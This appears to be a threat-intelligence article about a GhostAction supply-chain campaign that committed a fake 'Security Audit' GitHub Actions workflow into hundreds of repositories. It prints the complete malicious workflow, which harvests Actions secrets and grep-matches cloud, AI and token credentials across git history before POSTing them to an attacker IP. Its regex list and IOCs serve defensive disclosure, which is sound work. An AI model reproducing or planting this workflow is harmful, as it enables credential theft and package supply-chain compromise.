threat_intelligence2243 wordsRead on Huntaegis

New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials

New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials A new GhostAction wave hits hundreds of GitHub repos, expanding CI/CD secret theft to cloud and AI credentials in source code and git history. - Socket Research Team Update (October 9, 2026, [HH:MM] UTC): Since publication, Socket has identified more than 500 GitHub accounts that committed the malicious workflow to tens of thousands of repositories since October 7, 2026, including several organization-owned ones reached through the compromised contributors. The two accounts described below remain the most prominent, and kitao/pyxel is the clearest confirmed case of publishing credentials being targeted by a successful run. Socket analyzed an October 8, 2026 burst of the GhostAction campaign in which two compromised maintainer accounts committed a workflow namedsecurity-audit.yml into 346 repositories — among themuber/athenadriver and the 18,420-starkitao/pyxel — merging GitHub Actions secret theft with a new sweep of the working tree and full git history for cloud credentials, posted in cleartext to a single hardcoded IP address. On October 8, 2026, two GitHub accounts — henrywoo and kitao — pushed a single-file commit adding .github/workflows/security-audit.yml to every repository they could write to. The commit messages were Add security audit workflow and Update security audit workflow . The workflow has no security function. It collects credentials and POSTs them to hxxp://193.32.204[.]199 . Socket observed the file in 346 repositories: 318 under the henrywoo namespace (39 source repositories and 279 forks), 27 under kitao , and uber/athenadriver , an Uber-owned repository that henrywoo has write access to as its original author. The henrywoo sweep ran between 21:10:15Z and 21:26:32Z; the kitao repositories carry timestamps in a four-minute window at 13:40–13:44Z. Decade-dormant repositories were included alongside active ones, which is consistent with automated enumeration rather than selective targeting. This is a variation on the GhostAction campaign that GitGuardian documented in September 2025 and again in its return reported in 2026. The delivery method is unchanged — stolen maintainer credentials used to commit a plausibly named workflow — but the set of targeted secrets has expanded. Earlier waves took only what was stored in GitHub Actions secrets. This variant keeps that capability and adds a regex sweep for cloud provider and AI service credentials committed into the repository and its complete git history. As of October 9, 2026, the workflow file remains present on the default branch of the repositories Socket checked, including uber/athenadriver and kitao/pyxel . The injected workflow has run successfully in affected repositories. Socket has observed no malicious package versions published to PyPI or crates.io as a result of this activity at the time of writing. Injection of the Malicious Workflow The campaign has three stages, only one of which lives in the workflow file. First, the operator obtains a working credential for a maintainer account. Socket did not observe how. Second, each repository is scanned for the Actions secrets it already uses, and those exact names are written into the payload before it is committed. This reconnaissance is the step GitGuardian described in earlier waves. The scale and uniformity of this burst indicate it is tool-driven rather than hand-performed: 346 repositories were processed across two accounts in two short windows, each file byte-identical apart from the rendered secret list, which is consistent with the names being extracted from existing workflow files and emitted into a template by the same generator that produces the rest of the payload. Third, the workflow is committed directly to the default branch and runs on the next push. Below is the complete workflow as retrieved from kitao/pyxel at commit 97670a55 . This commit is carrying both collection methods in active form, which makes it the clearest view of the campaign's current capability. Annotations mark which lines are inherited from the earlier GhostAction payload and which are new. name: Security Audit on: workflow_dispatch: push: # no branch or path filter jobs: audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 # ADDED - fetch every branch and tag - name: Audit run: | out="REPO=$GITHUB_REPOSITORY" # ---- INHERITED: GitHub Actions secret theft ---- [ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" # ---- ADDED: committed-credential sweep ---- grepped=$(grep -rEiho "<13 CREDENTIAL PATTERNS>" --exclude-dir=.git . 2>/dev/null | sort -u) gl=$(git log -p --all 2>/dev/null | head -200000) hist=$(echo "$gl" | grep -oiE "<13 CREDENTIAL PATTERNS>" | sort -u | head -300) ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150) hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150) full="$out AKIA_CTX_START $ctx $hctx AKIA_CTX_END $grepped $hist" if [ -n "$(echo $full | tr -d ' \n')" ]; then curl -s -m 20 -X POST --data-binary "$full" "hxxp://193.32.204[.]199/?c=monami" || true fi The job runs on any push to any branch or tag, with no filter, plus workflow_dispatch for manual re-runs. Both collection methods append to a single variable and leave in one HTTP request, so a defender reading network data sees one POST carrying two unrelated classes of secret. The Inherited Half: GitHub Actions Secrets Line 15 is the earlier GhostAction technique, unchanged in substance. Before the file is committed, the repository's existing workflows are scanned for the Actions secrets it uses and those exact names are rendered into the payload. For Pyxel the list is CARGO_REGISTRY_TOKEN , PERSONAL_ACCESS_TOKEN , PYPI_PASSWORD and PYPI_USERNAME . These are publishing credentials. Their value to an attacker is the ability to ship a malicious release of a package that users already trust, which is the mechanism that turns a single account compromise into a downstream supply chain incident. The Added Half: the Committed-credential Sweep Everything from fetch-depth: 0 through hctx is new to this variant, and it targets a completely different source: credentials that developers committed into the repository, including ones they later removed. fetch-depth: 0 is what makes it possible. The default checkout fetches a single shallow branch; depth zero fetches every branch and tag, which gives git log -p --all the full patch text of the repository's history to read, including commits that were rewritten off the default branch but remain reachable from a stale branch or tag. Those are credentials the maintainer most likely believes are gone. Five variables do the collection: | Variable | Source | What it collects | |---|---|---| | grepped | Working tree, .git excluded | Any of 13 credential patterns in files currently checked out | | gl | git log -p --all | Raw patch text of every branch and tag — the full history buffer the next two passes read | | hist | gl | The same 13 patterns, matched against history rather than the working tree | | ctx | Working tree | Two lines either side of every AWS access key ID | | hctx | gl | Two lines either side of every AWS access key ID in history | The two context passes are the most deliberate part of the addition, and they are the reason this variant should be read as cloud-credential tooling rather than a generic secret scanner. An AKIA or ASIA value is only a key identifier; it authenticates nothing on its own. The corresponding 40-character secret access key is what an attacker needs, and in practice it sits one or two lines away in an .env file, an AWS credentials file, a Terraform variables file, or a CI configuration block. By capturing a window around every key ID in both the working tree and the history, the payload reconstructs complete, usable AWS key pairs instead of returning orphaned identifiers. The delimiters AKIA_CTX_START and AKIA_CTX_END fence that section of the body so the collector can parse it separately from the flat match list. Thirteen patterns are matched in both passes, reproduced here as they appear in the payload: AWS — direct cloud account access: compute, storage, data, and onward privilege escalation. AKIA[0-9A-Z]{16} — long-term access key IDASIA[0-9A-Z]{16} — STS temporary access key ID(?:aws_)?secret(?:_access)?_key followed by 40 characters — secret access key, matched by variable nameaws_session_token followed by 100 or more characters — STS session token AI services — billable inference resale, and access to whatever prompt and data flows run through the key. sk-ant-… — Anthropic API keysk-proj-… — OpenAI project keysk-or-(v1-)?… — OpenRouter key Source control — repository read and write access, and the ability to inject further workflows. ghp_[A-Za-z0-9]{36} — GitHub classic personal access tokengithub_pat_…{60,} — GitHub fine-grained personal access tokenglpat-… — GitLab personal access token SaaS and cloud APIs — access to the services each key is scoped to. AIza[A-Za-z0-9_-]{35} — Google, Firebase or GCP API keyxox[baprs]-… — Slack bot, user, app or refresh token, giving internal communications accessSG\.…\.… — SendGrid API key, allowing outbound mail from a trusted sender domain The two halves differ operationally. The inherited half requires reconnaissance and yields a small number of high-value credentials that map directly to package publishing. The added half requires none, which is what allows one static file to be deployed to 346 repositories in two short bursts, and it reaches a class of credential the earlier campaign never touched. Rotating Actions secrets does nothing for a committed-credential exposure, and scanning the working tree does nothing for an Actions-secret exposure. Impact uber/athenadriver is the most notable repository in this burst. The payload was committed using the compromised henrywoo account and is identical to the payload deployed across his personal repositories. henrywoo is the original author of athenadriver, which accounts for write access to an organization-owned repository. This is the pattern that makes maintainer account compromise expensive: the blast radius is not the individual’s own projects but every repository, in every organization, that the credential can write to. kitao/pyxel is the highest-value target by exposure. The repository has 18,420 stars and 966 forks, is written in Rust and Python, and distributes through both PyPI and crates.io. It is one of the repositories where Socket observed the Actions-secret path populated, and the secrets named are precisely the publishing credentials for both registries plus a GitHub PAT. Socket has observed no malicious package versions published to PyPI or crates.io as a result of this activity at the time of writing. henrywoo/pyllama (2,777 stars, 295 forks) and henrywoo/chatllama (1,200 stars, 129 forks) are the most-starred repositories in the henrywoo set. Both are machine learning projects whose contributors and forkers routinely hold exactly the credential classes in Set B: AWS keys and Anthropic, OpenAI, and OpenRouter API keys. The payload’s pattern list and this audience are well matched, which may be deliberate. The 279 forks in the henrywoo namespace each carry the workflow file. If Actions are enabled, subsequent pushes can trigger credential harvesting. Downstream forks are also at risk if they inherit the malicious workflow, either when newly created or by synchronizing with the affected upstream repository. Private forks and downstream mirrors are the most exposed, because private repositories are where committed credentials are actually found. Across both accounts, every run also returns a repository identifier whether or not credentials were found, so the operator holds a map of reachable execution contexts independent of any credential theft. Recommended Actions Triage begins by reading line 15 of the injected file. A populated secret list indicates a Set A exposure; an empty [ -n "" ] indicates Set B only. Treat both as present if in doubt. If the workflow named your Actions secrets: - Rotate every secret named in the file. For Pyxel’s secret set, that means new PyPI credentials, a new crates.io token, and revocation — not rotation — of the personal access token. - Review the package registry release history for both PyPI and crates.io for unexpected versions published during and after the exposure window, and compare published artifacts against your own build outputs. - Read the Actions run history for the injected workflow. Treat any completed run as successful exfiltration of the named secrets. If the workflow greps the repository: - Scan the full history, not just HEAD . Usegit log -p --all and include unreachable objects; the payload reads branches and tags that no longer appear in the default branch. - Rotate every credential found in that scan, in all thirteen categories above. Treat anything that ever appeared in a commit as exposed regardless of whether it appears in the current tree. - For AWS keys found in history, review CloudTrail for the exposure window and after it, and check for new IAM users, access keys, and unexpected regions. In both cases: - Remove the workflow file and revert the commit on every affected repository, including organization-owned ones. - Treat the account as fully compromised: revoke all sessions, personal access tokens, OAuth grants, and SSH keys, then enforce phishing-resistant multi-factor authentication and re-enroll. - Review the organization audit log for the push window and search for workflow-file additions across every repository the account could write to. Enumerate by account permission, not by expectation. - Hunt for connections to 193.32.204[.]199 in egress logs, including from self-hosted runner ranges, and block it. - Enable GitHub secret scanning with push protection, and require approval for workflow runs from outside collaborators. - Fork owners: check for .github/workflows/security-audit.yml before enabling Actions on any fork taken from an affected namespace. Indicators of Compromise Workflow file paths .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml Commit messages Add security audit workflow - commit message Update security audit workflow - commit message Add Github Actions Security workflow - commit message Request body markers REPO= AKIA_CTX_START AKIA_CTX_END Network 193.32.204[.]199 - C2 IP address

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached — you'll always get the same 5 for this article.